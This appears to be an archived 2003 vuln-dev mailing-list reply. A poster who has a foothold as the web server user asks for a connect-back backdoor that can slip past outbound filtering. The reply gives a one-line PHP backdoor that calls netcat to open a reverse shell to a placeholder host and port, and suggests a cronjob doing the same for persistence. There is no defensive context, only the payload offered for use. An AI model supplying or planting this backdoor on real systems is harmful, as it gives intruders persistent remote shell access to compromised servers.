Re: perl/php connect-back backdoor?

From: Knud Erik Højgaard (kain_at_ircop.dk)
Date: 07/28/03

  • Next message: wirepair: "Re: is it even possible for a worm with dcom vuln?" 
    To: "Ingram" <Vail@gmx.net>, <vuln-dev@securityfocus.com>
Date: Mon, 28 Jul 2003 22:24:47 +0200

    Ingram wrote:
    [snip]
    > i got right know is uid www. I think a connect-back perl/php code
    > could made it through this packtfilter, as the outbound rules could
    > be less tight.
    >
    > Anyone aware of a backdoor like this?
    netcat:
    <? passthru("nc -e /bin/sh ip port"); ?>

    or a cronjob doing the same.. 

    --
kokanin
  • Next message: wirepair: "Re: is it even possible for a worm with dcom vuln?"